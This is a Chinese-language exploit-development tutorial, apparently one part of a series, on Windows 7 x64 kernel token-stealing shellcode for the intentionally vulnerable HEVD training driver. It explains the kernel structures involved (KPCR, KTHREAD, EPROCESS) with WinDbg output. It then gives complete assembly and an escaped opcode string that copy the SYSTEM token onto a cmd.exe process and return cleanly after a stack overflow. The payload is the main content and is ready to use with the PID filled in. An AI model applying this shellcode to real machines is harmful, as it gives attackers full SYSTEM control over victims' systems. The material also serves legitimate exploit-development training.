在上一篇文章中,我们已经能以可控的方式使用内核了。但是,当创建Windows内核漏洞利用时,目标通常都是希望以某种方式获得更高的权限,通常是SYSTEM权限。这时我们就必须用到内核有效载荷。
窃取进程token
使用这个方法的最终目标是使用SYSTEM级别访问权限打开命令提示符。一旦我们在 ring 0中获取了执行的控制权限,就有办法来打开命令提示符。最常用的方法是窃取特权进程的进程token, Windows安全模型非常复杂的,不过我们这里有一些简化方法。
在Windows中,一切都可以被认为是一个对象(包括进程,文件,token等)。Windows使用称为安全描述符的结构来保证对象的安全(SECURITY_DESCRIPTOR)。安全描述符是 Windows 创建对象时所基于的结构的一个主要部分。这意味着 Windows可识别的每一个对象(可以是文件对象、注册表键、网络共享、互斥量、信号灯、进程、线程、令牌、硬件、服务、驱动……)都可以保证其安全。安全描述符结构既存在于内核模式也存在于用户模式,而且在两个模式中是一致的。
也就是说每个对象都由token标识。 SYSTEM token具有对任何对象执行任何活动的完全权限。因此,如果我们可以获得SYSTEM token并将其复制到局较少特权token的顶部,那么我们将获得对所有内容的完全访问权限。
为了实现这完全访问权限的目的,我们必须使用堆栈的缓冲区溢出,把驱动程序执行重定向到一个内存区域,不过这需要为重定向分配一些可执行内存,并在触发溢出之前,先将我们的shellcode进行复制。因为我们不能使用msfvenom转储一些粘贴过来的内核shellcode,所以我们必须另想办法。
为了编写一个全新的shellcode,我们必须了解一些我们将要处理的数据结构和对象。这些数据结构将帮助我们从静态位置转变到我们想要交换的进程token。
KPCR
由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region)即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构, 这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息。
这对我们编写Shellcode很有用,因为在X86 CPU中,FS段寄存器用于指向线程环境块(TEB)和处理器控制区(Processor Control Region, KPCR),但是,在X64上,GS段寄存器在用户态是指向TEB,在内核态是指向KPCR
所以KPCR总是在gs:[0]处可用,当你创建与位置无关的代码时,这是很方便的:
0: kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
+0x008 TssBase : Ptr64 _KTSS64
+0x010 UserRsp : Uint8B
+0x018 Self : Ptr64 _KPCR
+0x020 CurrentPrcb : Ptr64 _KPRCB
...
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB
上面的结构代码看起来非常有趣,但我们关心的主要是列表中的最后一行,KPCR.Prcb是一个KPRCB结构。
KPRCB
从KPCR,我们可以得到内核处理器控制块(KPRCB),其中包含了指向当前线程的KTHREAD结构的指针。我们之所以关心这一点,是因为它为我们提供了处理器正在执行的线程的KTHREAD结构的位置。这个结构相当巨大,所以我列出前八行:
0: kd> dt nt!_KPRCB
+0x000 MxCsr : Uint4B
+0x004 LegacyNumber : UChar
+0x005 ReservedMustBeZero : UChar
+0x006 InterruptRequest : UChar
+0x007 IdleHalt : UChar
+0x008 CurrentThread : Ptr64 _KTHREAD
+0x010 NextThread : Ptr64 _KTHREAD
+0x018 IdleThread : Ptr64 _KTHREAD
...
因此,上面的KeGetCurrentThread 代码实际上是一条访问fs 寄存器加上特定偏移的指令。
在gs:[188]获得了当前线程的KTHREAD 结构指针以后,便可以很方便地获得ETHREAD 结构的指针,以及进程KPROCESS 或EPROCESS 结构的指针。在执行体层上获得当前线程和进程的函数分别是PsGetCurrentThread 和PsGetCurrentProcess。
KTHREAD
要了解KTHREAD,我们得先了解一下ETHREAD,我们知道,windows内核中的执行体层负责各种与管理和策略相关的功能,而内核层(微内核)实现了操作系统的核心机制。进程和线程在这两层上都有对应的数据结构。
ETHREAD(执行体线程块)是执行体层上的线程对象的数据结构。在windows内核中,每个进程的每一个线程都对应着一个ETHREAD数据结构。
而KTHREAD结构就是ETHREAD结构的第一部分,并且维护关于当前正在执行的线程的一些低级信息。我们的主要是想找到KTHREAD.ApcState,因为它是KAPC_STATE结构。以下是KTHREAD结构图:
0: kd> dt nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 CycleTime : Uint8B
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr64 Void
+0x030 StackLimit : Ptr64 Void
...
+0x050 ApcState : _KAPC_STATE
+0x050 ApcStateFill : [43] UChar
+0x07b Priority : Char
+0x07c NextProcessor : Uint4B
+0x080 DeferredProcessor : Uint4B
+0x088 ApcQueueLock : Uint8B
+0x090 WaitStatus : Int8B
+0x098 WaitBlockList : Ptr64 _KWAIT_BLOCK
+0x0a0 WaitListEntry : _LIST_ENTRY
+0x0a0 SwapListEntry : _SINGLE_LIST_ENTRY
+0x0b0 Queue : Ptr64 _KQUEUE
+0x0b8 Teb : Ptr64 Void
...
KAPC_STATE
每个线程都跟踪与其相关联的进程,KAPC_STATE结构非常简单:
0: kd> dt nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x020 Process : Ptr64 _KPROCESS
+0x028 KernelApcInProgress : UChar
+0x029 KernelApcPending : UChar
+0x02a UserApcPending : UChar
现在,我们终于进入到KPROCESS的结构中。 KPROCESS结构类似于KTHREAD,是EPROCESS结构的第一部分。因为我们已经有了KPRCB.CurrentThread指针,所以我们知道我们正在寻找的KAPC_STATE.Process是在KPRCB.CurrentThread + 50 + 20的位置,我们可以再次做一些硬核处理,到当前的KAPC_STATE.Process添加70指向KPRCB.CurrentThread指针。
EPROCESS
EPROCESS块中不仅包含了进程相关的很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。
EPROCESS内部结构如下:
0: kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x160 ProcessLock : _EX_PUSH_LOCK
+0x168 CreateTime : _LARGE_INTEGER
+0x170 ExitTime : _LARGE_INTEGER
+0x178 RundownProtect : _EX_RUNDOWN_REF
+0x180 UniqueProcessId : Ptr64 Void
+0x188 ActiveProcessLinks : _LIST_ENTRY
...
+0x208 Token : _EX_FAST_REF
...
+0x2d8 Session : Ptr64 Void
+0x2e0 ImageFileName : [15] UChar
+0x2ef PriorityClass : UChar
+0x2f0 JobLinks : _LIST_ENTRY
+0x300 LockedPagesList : Ptr64 Void
+0x308 ThreadListHead : _LIST_ENTRY
+0x318 SecurityPort : Ptr64 Void
+0x320 Wow64Process : Ptr64 Void
+0x328 ActiveThreads : Uint4B
+0x32c ImagePathHash : Uint4B
+0x330 DefaultHardErrorProcessing : Uint4B
+0x334 LastThreadExitStatus : Int4B
+0x338 Peb : Ptr64 _PEB
...
EPROCESS.UniqueProcessId
EPROCESS.UniqueProcessId是带有当前进程PID的qword。这一点很重要,因为我们需要找到UniqueProcessId为“4”的EPROCESS结构,以便我们知道当前的SYSTEM进程,找到它的token。
EPROCESS.ActiveProcessLinks
EPROCESS块中有一个ActiveProcessLinks,它是一个PLIST_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。
这意味着列表中的每个条目都指向另一个进程的EPROCESS结构,偏移量高于EPROCESS基址的+188意味着每个条目在每个活动进程的UniqueProcessId之上偏移+8。
EPROCESS.Token
最后,EPROCESS.Token是分配给进程的访问Token。大家可能已经注意到Token是以EX_FAST_REF结构表示的。 Windows通过使用Token的结尾地址来让所有Token都对齐,并以0结尾。如下所示,大家可以看到偏移量+208处的指针与process debugger扩展名列出的Token不完全匹配,但可以使用一些布尔值算术:
0: kd> !process
PROCESS fffffa8004034a40
SessionId: 1 Cid: 0d34 Peb: 7efdf000 ParentCid: 0570
DirBase: 0af6b000 ObjectTable: fffff8a0050b42c0 HandleCount: 130.
Image: pythonw.exe
VadRoot fffffa8003d67b70 Vads 97 Clone 0 Private 1822. Modified 0. Locked 0.
DeviceMap fffff8a00010b5c0
Token fffff8a00383aa00
...
0: kd> dq fffffa8004034a40+208 l1
fffffa80`04034c48 fffff8a0`0383aa0f
0: kd> ? poi(fffffa8004034a40+208) & fffffffffffffff0
Evaluate expression: -8108839294464 = fffff8a0`0383aa00
把这些概念了解清楚之后,我们就可以开始编写我们的shellcode了,总共分6步
1.获取KTHREAD和EPROCESS指针
2.遍历ActiveProcessLinks列表以找到UniqueProcessId为4(SYSTEM)的EPROCESS,
3.保存SYSTEM Token
4.进入ActiveProcessLinks列表以找到与我们的shell(cmd.exe)相关联的EPROCESS,
5.将SYSTEM Token复制到cmd.exe Token的顶部
6.恢复shellcode
第一步,获取KTHREAD和EPROCESS指针
如前所述,这一步超级简单。 gs:[0]是KPRCR加上+180的KPRCB加+8的KTHREAD指针; KTHREAD指针加上+50是KAPC_STATE加上+20的EPROCESS指针:
start:
mov rdx, [gs:188h] ;KTHREAD pointer
mov r8, [rdx+70h] ;EPROCESS pointer
第二步,遍历ActiveProcessLinks
EPROCESS.ActiveProcessLinks是一个双向链表,意味着结构以一个指向下一个条目的指针开始,后面跟着一个指向前一个条目的指针,后面是实际条目。列表从EPROCESS结构基址的+188偏移处开始。每个条目指向每个活动进程的EPROCESS.ActiveProcessLinks列表。我们之前看到EPROCESS.UniqueProcessId与EPROCESS.ActiveProcessLinks列表的基址相对偏移为-8。我们将列表的头部加载到r9寄存器中,将第一个条目加载到rcx中,然后对列表中的每个条目设置一个循环遍历,查找UniqueProcessId 4:
mov r9, [r8+188h] ;ActiveProcessLinks list head
mov rcx, [r9] ;follow link to first process in list
find_system:
mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId
cmp rdx, 4 ;UniqueProcessId == 4?
jz found_system ;YES - move on
mov rcx, [rcx] ;NO - load next entry in list
jmp find_system ;loop
当这个循环运行完毕,我们就应该使用rcx寄存器,它包含一个指向+188偏移的指针,该指针指向SYSTEM进程的EPROCESS。
第三步,保存SYSTEM Token地址
保存SYSTEM Token很容易做到。 rax寄存器可以用来进行保存。此时,rcx指向SYSTEM EPROCESS + 188,我们想要的Token就在EPROCESS + 208。这意味着我们只需将rcx + 80移动到rax中,然后修改低4位的值以获得我们的SYSTEM Token指针:
found_system:
mov rax, [rcx+80h] ;offset to token
and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure
第四步,进入ActiveProcessLinks列表
这基本上与步骤二相同。唯一的区别是,我们要搜索产生的cmd.exe进程的PID,而不是PID“4”。我们将在下一篇为大家分析如何在Python中实现这些:
find_cmd:
mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId
cmp rdx, 1234h ;UniqueProcessId == XXXX? (PLACEHOLDER)
jz found_cmd ;YES - move on
mov rcx, [rcx] ;NO - next entry in list
jmp find_cmd ;loop
这时在rcx会有一个地址指向cmd.exe的EPROCESS + 188。至此,我们就完成了Token的搜索。
第五步,将SYSTEM Token复制到cmd.exe Token
我们在rax中有SYSTEM Token,在rcx + 80中有cmd.exe Token。
found_cmd:
mov [rcx+80h], rax ;copy SYSTEM token over top of this process's token
至此我们就有一个shell运行下的SYSTEM权限。
第六步,恢复shellcode
在溢出点处,堆栈包含了指向HEVD驱动器在rsp + 28处的地址:
0: kd> ?poi(rsp+28)
Evaluate expression: -8246261640726 = fffff880`048111ea
0: kd> u fffff880048111ea l1
HEVD+0x61ea:
fffff880`048111ea 488d0d6f110000 lea rcx,[HEVD+0x7360 (fffff880`04812360)]
正如上所示,地址指向了HEVD + 0x61ea。这个地址有什么用呢?看看我们在上一篇文章提到的这个图,你就知道了。
HEVD + 0x61ea刚好是返回地址回到IOCTL的调度表, HACKSYS_EVD_STACKOVERFLOW处理程序被调用!以下是简单的恢复步骤:
return:
add rsp, 28h ;HEVD+0x61ea
ret
这包含了我们在shellcode中需要完成的一切!
我们将在下一篇文章中,讨论如何在Python漏洞中实现shellcode。
这是shellcode的最终形式:
[BITS 64]
; Windows 7 x64 token stealing shellcode
; based on http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation
start:
mov rdx, [gs:188h] ;KTHREAD pointer
mov r8, [rdx+70h] ;EPROCESS pointer
mov r9, [r8+188h] ;ActiveProcessLinks list head
mov rcx, [r9] ;follow link to first process in list
find_system:
mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId
cmp rdx, 4 ;UniqueProcessId == 4?
jz found_system ;YES - move on
mov rcx, [rcx] ;NO - load next entry in list
jmp find_system ;loop
found_system:
mov rax, [rcx+80h] ;offset to token
and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure
find_cmd:
mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId
cmp rdx, 1234h ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
jz found_cmd ;YES - move on
mov rcx, [rcx] ;NO - next entry in list
jmp find_cmd ;loop
found_cmd:
mov [rcx+80h], rax ;copy SYSTEM token over top of this process's token
return:
add rsp, 28h ;HEVD+0x61ea
ret
;String literal (replace xZZ's with PID):
;"x65x48x8Bx14x25x88x01x00x00x4Cx8Bx42x70x4Dx8Bx88"
;"x88x01x00x00x49x8Bx09x48x8Bx51xF8x48x83xFAx04x74"
;"x05x48x8Bx09xEBxF1x48x8Bx81x80x00x00x00x24xF0x48"
;"x8Bx51xF8x48x81xFAxZZxZZxZZxZZx74x05x48x8Bx09xEB"
;"xEEx48x89x81x80x00x00x00x48x83xC4x28xC3"